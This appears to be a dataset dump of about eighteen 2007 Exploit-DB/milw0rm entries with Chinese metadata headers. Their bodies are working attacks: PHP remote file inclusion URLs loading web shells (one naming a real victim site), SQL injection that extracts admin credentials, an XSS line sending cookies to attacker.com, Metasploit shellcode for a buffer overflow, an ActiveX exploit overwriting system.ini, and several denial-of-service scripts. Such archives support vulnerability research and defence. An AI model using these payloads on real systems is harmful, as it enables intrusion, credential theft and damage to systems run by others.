QLWD/code_shield huggingface dataset:
标题: YourFreeScreamer 1.0 - 'serverPath' Remote File Inclusion EDB-ID: 4075 CVE: 2007-3315 2007-3271 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-17 漏洞利用脚本: ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Title    : YourFreeScreamer 1.0 Remote File Ã„Â°nclude

Author   : Crackers_Child

Contact  : cybermilitan@hotmail.com

Bug      : in bodyTemplate.php " <? include ( $serverPath . "includes/form.php" );?> "

Down     : http://www.yfma.com/count/click.php?id=1
Site  : http://yfma.com/yfs/

Exploit  : http://site.com/script_path/templates/2blue/bodyTemplate.php?serverPath=Sh3ll ?

Note     : [ Aq Mahkemelik Oldk daha ne olsn :) (ci) ] [ cRA 2 Ay YOK sAhalarda]

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

# milw0rm.com [2007-06-17] URL: https://www.exploit-db.com/exploits/4075
标题: Musoo 0.21 - Remote File Inclusion EDB-ID: 4085 CVE: 2007-3297 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-20 漏洞利用脚本: # Musoo 0.21(GLOBALS[ini_array][EXTLIB_PATH])Remote File Include

# D.Script: 
      http://osx.freshmeat.net/redir/musoo/65735/url_tgz/musoo-0.21.tar.gz

# V.Code :
      require_once( $GLOBALS["ini_array"]["EXTLIB_PATH"].'/

# In :
      /msDb.php
      /modules/MusooTemplateLite.php
      /modules/SoundImporter.php

# Exploits:
      1:/msDb.php?GLOBALS[ini_array][EXTLIB_PATH]=Shell.txt?
      2:/modules/MusooTemplateLite.php?GLOBALS[ini_array][EXTLIB_PATH]=Shell.txt?
      3:/modules/SoundImporter.php?GLOBALS[ini_array][EXTLIB_PATH]=Shell.txt?

# Video
      http://norcalvex.org/v1d30/Musoo/Musoo-Video.rar

# Discovered by: 
      GoLd_M = [Mahmood_ali]

# Homepage: 
      http://www.Tryag.Com/cc

# Sp.Thanx To : 
      Tryag-Team & Asb-May's Team 

# milw0rm.com [2007-06-20] URL: https://www.exploit-db.com/exploits/4085
标题: PHP 5.2.3 'Tidy' Extension - Local Buffer Overflow EDB-ID: 4080 CVE: 2007-3294 类型: LOCAL 平台: WINDOWS 发布日期: 2007-06-19 漏洞利用脚本: <?php
//PHP 5.2.3 tidy_parse_string() & tidy_repair_string() local
//buffer overflow poc (win)
//rgod
//site: retrogod.altervista.org

//quickly tested on xp sp2, worked both from the cli and on apache
//let's have a look here: http://www.google.com/codesearch?hl=it&q=+tidy_parse_string&sa=N

if (!extension_loaded("tidy")){die("you need Tidy extension loaded!");}

# win32_adduser -  PASS=tzu EXITFUNC=thread USER=sun Size=233 Encoder=JmpCallAdditive http://metasploit.com
$scode =
"\xfc\xbb\x0b\xad\x7d\x9a\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85".
"\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xf7\x45\x39\x9a\x07\x96\x49".
"\xdf\x3b\x1d\x31\xe5\x3b\x20\x25\x6e\xf4\x3a\x32\x2e\x2a\x3a\xaf".
"\x98\xa1\x08\xa4\x1a\x5b\x41\x7a\x85\x0f\x26\xba\xc2\x48\xe6\xf1".
"\x26\x57\x2a\xee\xcd\x6c\xfe\xd5\x29\xe7\x1b\x9e\x6d\x23\xe5\x4a".
"\xf7\xa0\xe9\xc7\x73\xe9\xed\xd6\x68\x9e\x12\x52\x6f\x4b\xa3\x38".
"\x54\x8f\x77\xf1\x54\xeb\xfc\xb2\x64\x76\xc2\x4b\x89\xf3\x83\xa7".
"\x1a\x73\x18\x15\x97\x1b\x28\x8e\xa1\x50\xa8\xe0\xb2\x66\xa9\x8b".
"\xdb\x5a\xf6\xba\xed\xc2\x5e\x34\xe9\x81\x9f\x3d\x5a\xed\xf0\x0c".
"\xba\x8d\x66\x09\xc5\xc7\x79\x7e\xc5\x30\xe6\xed\x5d\x90\x8c\x95".
"\xf8\xcc\x61\x05\x23\x62\x1b\xbd\x03\x0f\x90\x58\x36\xcf\x25\xd6".
"\xd8\x2f\xbe\x62\x50\x0f\x11\xd2\xde\x0b\x4d\xf2\xf8\xb3\xe3\x9f".
"\x70\x93\x97\x30\x1a\xb2\x0b\xa8\xae\x5b\xa1\x46\x6f\xe2\x2d\xca".
"\x06\x8a\xc4\x67\xad\x20\x76\xfc\x22\xb6\x0b\xdc\xcf\x43\x82\x3c".
"\x1f\xea\x1e\x79\x5f\xec\x9e\x81\x5f";

$EIP="\x8B\x51\x81\x7C"; //0x7C81518B      call esp kernel32.dll
$NOP=str_repeat("\x90",12);
$____buff=str_repeat("a",2036).$EIP.$NOP.$scode;
tidy_parse_string(1,$____buff,1);
?>

# milw0rm.com [2007-06-19] URL: https://www.exploit-db.com/exploits/4080
标题: PHPMyInventory 2.8 - 'global.inc.php' Remote File Inclusion EDB-ID: 4074 CVE: 2007-3270 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-16 漏洞利用脚本: ########################################################################################
phpMyInventory (pmi)
v. 2.8
FOUND BY : o0xxdark0o
                   o0xxdark0o[at]msn.com
DOWNLOAD : http://sourceforge.net/projects/phpmyinventory/
REMOTE FILE ICLUDE
########################################################################################
FILE :
PATH\Includes\global.inc.php
########################################################################################
EXPLOIT:
www.xxx.com/pmi_v28/Includes/global.inc.php?strIncludePrefix=Shell.txt?
########################################################################################
thanks for all my friends.. str0ke ... oxdo .... cold z3ro...keenest
www.hach-teach.org - www.3asfh.com - www.goldenawy.com - www.yee7.com
########################################################################################
CODE:
<?
 // where rare administrative emails will go
 $adminEmail  = "youraddress@yourdomain.com";

 $secureAdmin = 0; # set to 1 if SSL is available
 $sslPort = 443; # what port, if using SSL?

 $rowLimit = 12; # how many records any given page should show at one time

 # -------------------------------------------------------------------- #

 session_register("userID");
 session_register("sessionTime");
 session_register("sessionSecurity");

 // by creating a separate set of includes for different domain names,
 // you can serve multiple PMI's from one codebase.
 //
 // if ($SERVER_NAME = "dev.3gwt.net") {
 //    $includeFolder = "Includes/3gwt";
 // } else if ($SERVER_NAME = "www.foozball.com") {
 //    $includeFolder = "Includes/foozball";
 // } else {
       $includeFolder = "Includes";
 // }

 $strIncludePrefix = $strIncludePrefix.$includeFolder;
 Include($strIncludePrefix."/db.inc.php");
-----there is more of the code download to see it in v. 2.8-----
########################################################################################
BY : o0xxdark0o
      o0xxdark0o@msn.com

# milw0rm.com [2007-06-16] URL: https://www.exploit-db.com/exploits/4074
标题: Sitellite CMS 4.2.12 - '559668.php' Remote File Inclusion EDB-ID: 4071 CVE: 2007-3228 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-14 漏洞利用脚本: *sitellite*<http://www.sitelliteforge.com/index/siteforge-download-action/proj.sitellite?dl=sitellite-4.2.12-stable.tar.gz>
v 4.2.12
DORK : "powered by Sitellite"
FOUND BY : o0xxdark0o
           o0xxdark0o[at]msn.com
Website: http://www.sitellite.org/
DOWNLOAD : http://www.sitelliteforge.com/index/siteforge-app/proj.sitellite
REMOTE FILE ICLUDE
############################################################
FILE :
PATH\saf\lib\PEAR\PhpDocumentor\Documentation\tests\bug-559668.php
############################################################
EXP:
xxx.com\path\saf\lib\PEAR\PhpDocumentor\Documentation\tests\559668.php?FORUM[LIB]=Shell
?
############################################################
CODE: on line 4
<?php
/** @package tests */
/** include tests */
require_once $FORUM['LIB'] . '/classes/db/PearDb.php';
require PEAR . 'test' . 'me';
include('file.ext');
include 'file.ext';
include(PEAR . 'test' . 'me');
?>
############################################################
thanks for all my friends.. str0ke ... mr_6.1.9 .... oxdo .... cold z3ro
www.hach-teach.org - www.3asfh.com
############################################################
BY : o0xxdark0o
     o0xxdark0o@msn.com

PhpDocumentor directory is .htaccess'ed

# milw0rm.com [2007-06-14] URL: https://www.exploit-db.com/exploits/4071
标题: XOOPS Module XT-Conteudo - 'spaw_root' Remote File Inclusion EDB-ID: 4069 CVE: 2007-3221 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-13 漏洞利用脚本: ##############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
##############################################################################################
#INFO:
#Program Title ###############################################################################
#XT-Conteudo (XOOPS Module) Remote File Inclusion Vulnerability
#
#Description #################################################################################
#Content module for XOOPS CMS
#
#Vuln Code ###################################################################################
#In /admin/spaw/spaw_control.class.php
# include $spaw_root.'config/spaw_control.config.php';
# include $spaw_root.'class/toolbars.class.php';
# include $spaw_root.'class/lang.class.php';
#
#Script Download ##############################################################################
#http://www.xoops.org/modules/repository/singlefile.php?cid=94&lid=1405
#
#Exploit ######################################################################################
#
#http://[ site ]/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=[ shell ]?
#
#Credits ######################################################################################
#FiSh for vulnerability
#shoutz: clorox, z3r0, katalyst, SyNiCaL, sCuZz, OD, pr0be, 0ptix, str0ke
#        grumpy, and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-06-13] URL: https://www.exploit-db.com/exploits/4069
标题: PHP::HTML 0.6.4 - 'PHPhtml.php' Remote File Inclusion EDB-ID: 4072 CVE: 2007-3230 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-14 漏洞利用脚本: phphtml
v 0.6.4
FOUND BY : o0xxdark0o
Website: http://www.sitellite.org/
DOWNLOAD : http://sourceforge.net/projects/phphtml
REMOTE FILE INCLUDE
############################################################
FILE :
PATH\phphtml.php
############################################################
EXP:
xxx.com\path\phphtml.php?htmlclass_path=SH3ll.txt?
############################################################
CODE: on line 19
<?

define (PHPHTML_VERSION, "0.6.4");

/* gettext is not implemented for now*/
$use_gettext=0;

/* We need to know where the PHP::HTML tree is installed.*/

if (strlen(chop($htmlclass_path))==0) $htmlclass_path=".";
if ($use_gettext==1)
{
   if (function_exists("gettext"))
   {
       $gettext_enable=1;
   }
}

include("$htmlclass_path/ext.php");  /* Some extenstions to PHP */
include("$htmlclass_path/core.php");  /* PHP::HTML Core */
include("$htmlclass_path/xhtml.php");  /* XHTML extensions */
include("$htmlclass_path/xhtml_table.php");  /* XHTML tables extensions */
include("$htmlclass_path/xhtml_forms.php");  /* XHTML forms extensions */
include("$htmlclass_path/xhtml_doc.php");  /* XHTML document extension */
include("$htmlclass_path/wml.php");  /* WML extension */


/* Below is a debugging example */

/*
$t=new XHTML_doc("Hello");
echo $t->render();
*/


############################################################
thanks for all my friends.. str0ke  .... oxdo .... cold z3ro
www.hach-teach.org - www.3asfh.com
############################################################
BY : o0xxdark0o
     o0xxdark0o@msn.com

# milw0rm.com [2007-06-14] URL: https://www.exploit-db.com/exploits/4072
标题: XOOPS Module XFsection - 'modify.php' Remote File Inclusion EDB-ID: 4068 CVE: 2007-3222 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-13 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
XOOPS Module XFsection Remote File Inclusion
version: < 1.07
source : http://prdownloads.sourceforge.net/xoops/xoops2-mod_xfsection-107.zip
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Discovered by Sp[L]o1T from hTTp://hacking.3Xforum.Ro
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Bug : http://www.site.com/modules/xfsection/modify.php?dir_module=evilcode.txt?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Shoutz t0 : Vladiii,Johnny,Str0ke,Shocker,Epic,OSHO,Zapakitul and all members from Hacking[dot]3Xforum[dot]RO
Contact: splo1t[at]yahoo[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Note:
In some cases you will need to be authenticated.

# milw0rm.com [2007-06-13] URL: https://www.exploit-db.com/exploits/4068
标题: Fuzzylime Forum 1.0 - 'low.php?topic' SQL Injection EDB-ID: 4062 CVE: 2007-3235 2007-3234 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-12 漏洞利用脚本: #!/usr/bin/perl -w

#################################################################################
#          #
#     Fuzzylime Forum 1.0 SQL Injection Exploit   #
#          #
# Discovered by: Silentz       #
# Payload: Admin Username & Hash Retrieval     #
# Website: http://www.w4ck1ng.com      #
#           #
# Vulnerable Code (low.php):        #
#          #
#      $gettopicid = mysql_query("SELECT * FROM ${table_prefix}threads   #
#      WHERE threadid='$_GET[topic]'");      #
#          #
# PoC: http://victim.com/low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58), #
#      username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE   #
#      userid=1/*        #
#           #
# Subject To: magic_quotes_gpc set to off     #
# GoogleDork: Get your own!       #
#          #
# Shoutz: The entire w4ck1ng community      #
#          #
# NOTE: You can also grab the username & hash via a cookie logger and this XSS: #
#          #
# http://victim.com/low.php?topic="><script>document.location=  #
#       "http://attacker.com/logger.php?var="+document.cookie</script>  #
#          #
#################################################################################

use LWP::UserAgent;
die "Example: exploit.pl http://victim.com/\n" unless @ARGV;

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58),username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE userid=1/*";

$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

if ($answer =~ /raquo; :(.*?):/){
 print "\nBrought to you by w4ck1ng.com...\n";
 print "\n[+] Admin User : $1";
}

if ($answer =~/([0-9a-fA-F]{32})/){print "\n[+] Admin Hash : $1\n";}

else{print "\n[-] Exploit Failed...\n";}

# milw0rm.com [2007-06-12] URL: https://www.exploit-db.com/exploits/4062
标题: XOOPS Module horoscope 2.0 - Remote File Inclusion EDB-ID: 4064 CVE: 2007-3236 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-12 漏洞利用脚本: BeyazKurt - B3yazKurt@Hotmail.Com

XOOPS Modules Horoscope

http://www.xoops.org/modules/repository/visit.php?cid=32&lid=1162

modules/horoscope/footer.php?xoopsConfig[root_path]=

{NetLife Since : '2003-4'}

Emekli HeykÄ±r BeyazKurt - Neti bÄ±raktÄ±m! DÃ¶nÃ¼ÅŸÃ¼m mÃ¼kemmel olcak ;(

# milw0rm.com [2007-06-12] URL: https://www.exploit-db.com/exploits/4064
标题: XOOPS Module cjay content 3 - Remote File Inclusion EDB-ID: 4070 CVE: 2007-3220 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-13 漏洞利用脚本: ##############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
##############################################################################################
#INFO:
#Program Title ###############################################################################
#Cjay Content 3 WYSIWYG IE 5.5+ Remote File Inclusion Vulnerability
#
#Description #################################################################################
#Editor module for XOOPS CMS
#
#Vuln Code ###################################################################################
#In /admin/editor2/spaw_control.class.php:
# include $spaw_root.'config/spaw_control.config.php';
# include $spaw_root.'class/toolbars.class.php';
# include $spaw_root.'class/lang.class.php';
#Note: Register globals must be ON, and Magic Quotes must be OFF for this exploit to work.
#
#Script Download ##############################################################################
#http://www.xoops.org/modules/repository/singlefile.php?cid=94&lid=1123
#
#Exploit ######################################################################################
#
#http://[ site ]/modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=[ shell ]?
#
#Credits ######################################################################################
#FiSh for vulnerability
#shoutz: clorox, z3r0, katalyst, SyNiCaL, sCuZz, OD, pr0be, 0ptix, str0ke
#        grumpy, and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-06-13] URL: https://www.exploit-db.com/exploits/4070
标题: xoops module tinycontent 1.5 - Remote File Inclusion EDB-ID: 4063 CVE: 2007-3237 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-12 漏洞利用脚本: ~~~~~~~~~~~~~~~~~~~~~~~
XOOPS Module TinyContent Remote File Inclusion
version: < 1.5
source: http://prdownloads.sourceforge.net/xoops/xoops2-mod-tinycontent_1_5.zip
~~~~~~~~~~~~~~~~~~~~~~
Discovered by Sp[L]o1T from hTTP://hacking.3Xforum.Ro
~~~~~~~~~~~~~~~~~~~~~~
BUG:
http://www.site.com/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=evilcode.txt?

Vuln site:
http://www.wiscpsa.org/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=http://www.ekin0x.com/r57.txt?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Shoutz t0: all members of Hacking[dot]3xforum[dot]ro ,V1rg0 ,Str0ke
Contact: splo1t[at]yahoo[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# milw0rm.com [2007-06-12] URL: https://www.exploit-db.com/exploits/4063
标题: TEC-IT TBarCode - OCX ActiveX Arbitrary File Overwrite EDB-ID: 4060 CVE: 2007-3233 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-12 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------------
 <b>TEC-IT TBarCode OCX ActiveX Control (TBarCode7.ocx v. 7.0.2.3524) "SaveImage()" Remote Arbitrary File Overwrite</b>
 url: http://www.tec-it.com/asp/main/startfr.asp?LN=1

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------------------------------

<object classid='clsid:D8541765-F6D2-4EE1-AEAA-4016BE1D9859' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveImage "c:\windows\system_.ini", 1, 1, 1, 1, 1
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/21 - TEC-IT TBarCode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/21 - TEC-IT TBarCode")
   End If 
 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-12] URL: https://www.exploit-db.com/exploits/4060
标题: Microsoft Office - MSODataSourceControl COM-object Buffer Overflow (PoC) EDB-ID: 4067 CVE: 2007-3282 类型: DOS 平台: WINDOWS 发布日期: 2007-06-13 漏洞利用脚本: MSODataSourceControl.DeleteRecordSourceIfUnused COM-object B0F POC
Tested on full patched XP/SP2, IE7, MSO2003

<html>
<object id=ctl classid="clsid:{0002E55B-0000-0000-C000-000000000046}"></object>
<script language="javascript">
var b = 'AAAA';
while (b.length <= 256) b+=b;
ctl.DeleteRecordSourceIfUnused(b);
</script>
</html>

# milw0rm.com [2007-06-13] URL: https://www.exploit-db.com/exploits/4067
标题: GeometriX Download Portal - 'down_indir.asp?id' SQL Injection EDB-ID: 4057 CVE: 2007-3188 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-09 漏洞利用脚本: #Title: GeometriX Download Portal Remote SQL Injection Vulnerability
#Author: CyberGhost
#Demo Page: http://fullaspsite.somee.com/
#Script Page: http://aspindir.com/indir.asp?id=4949&sIslem=%DDndir

#Vuln.

#Password:/down_indir.asp?id=-1+union+select+0,1,adminsifre,3,4,5,6,7+from+ayarlar
#Admin Login : /yonetim.asp
====================================
Thanx : redLine - Hackinger - excellance - Liarhack - KinSize - gsy - kerem125 - BolivaR - Joker - TaRuZ - BuTCHeR - Hacking

And All TURKISH HACKERS !

# milw0rm.com [2007-06-09] URL: https://www.exploit-db.com/exploits/4057
标题: MiniWeb HTTP Server 0.8.x - Remote Denial of Service EDB-ID: 4046 CVE: 2007-3159 类型: DOS 平台: WINDOWS 发布日期: 2007-06-07 漏洞利用脚本: # MiniWeb Http Server 0.8.x Remote Denial of Service
# MiniWeb site http://sourceforge.net/projects/miniweb/
# Author: gbr
#
# Tested running the server under Windows XP SP2
#
# Description:
#
# The server doesn't do a sanity-check on 'Content-Length' value from POST Header, allowing the attacker to control
# the allocation size and the position in the 'pucPayload' char pointer to write.
# This could be used to trigger an exception.
#
#
# Vulnerable code - file http.c | lines 701-702 MiniWeb 0.8.1 | lines 704 - 705 MiniWeb 0.8.19
# ------------------------------------------
# phsSocket->request.pucPayload=malloc(phsSocket->response.iContentLength+1);
# phsSocket->request.pucPayload[phsSocket->response.iContentLength]=0;
# ------------------------------------------

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $host = shift || die "usage: perl $0 host [port]\n";
my $port = shift || 80;

my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp')
or die "error: $!\n";

$sock->send("POST / HTTP/1.1\r\n");
$sock->send("Content-Length: -10\r\n\r\n");

$sock->close;

print "Exploited\n";

# milw0rm.com [2007-06-07] URL: https://www.exploit-db.com/exploits/4046
标题: Microsoft Windows - GDI+ '.ICO' File Remote Denial of Service EDB-ID: 4044 CVE: 2007-2237 类型: DOS 平台: WINDOWS 发布日期: 2007-06-07 漏洞利用脚本: ####################################
# Author : kad                     #
# Mail   : kad[at]highsecu[dot]com #
# Site   : http://www.highsecu.com #
####################################

highsecu.ico - Microsoft GDI+ Integer division by zero flaw handling .ICO files
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4044.zip (06072007-CVE-2007-2237.zip)

# milw0rm.com [2007-06-07] URL: https://www.exploit-db.com/exploits/4044
标题: Internet Download Accelerator 5.2 - Remote Buffer Overflow (PoC) EDB-ID: 4056 CVE: 2007-3162 类型: DOS 平台: WINDOWS 发布日期: 2007-06-09 漏洞利用脚本: <!--========================== ==================================================
Internet Explorer ver 6.0 , 7.0
Tested On Winados SP2
DeltahackingSecurityTEAM
Bug discovered by Dr.Pantagon
Affected Software: idaiehlp.dll  (IE 4.x-6.x BHO for Internet Download Accelerator)
DLL VER : 1.9.1.74
program ver : 5.2
download link : http://download1.westbyte.com/ida/idasetup.exe
Company Dll : WestByte
site www. westbyte.com
www.Deltahacking.net
www.Deltasecurity.ir
==============================================================================-->
<html>
<object classid="clsid:2A646672-9C3A-4C28-9A7A-1FB0F63F28B6" id="idaiehlp"></object>
<script language='vbscript'>
arg1=String(999999, "A") + String(999999, unescape("%90"))
idaiehlp.NotSafe (arg1)
</script>

# milw0rm.com [2007-06-09] URL: https://www.exploit-db.com/exploits/4056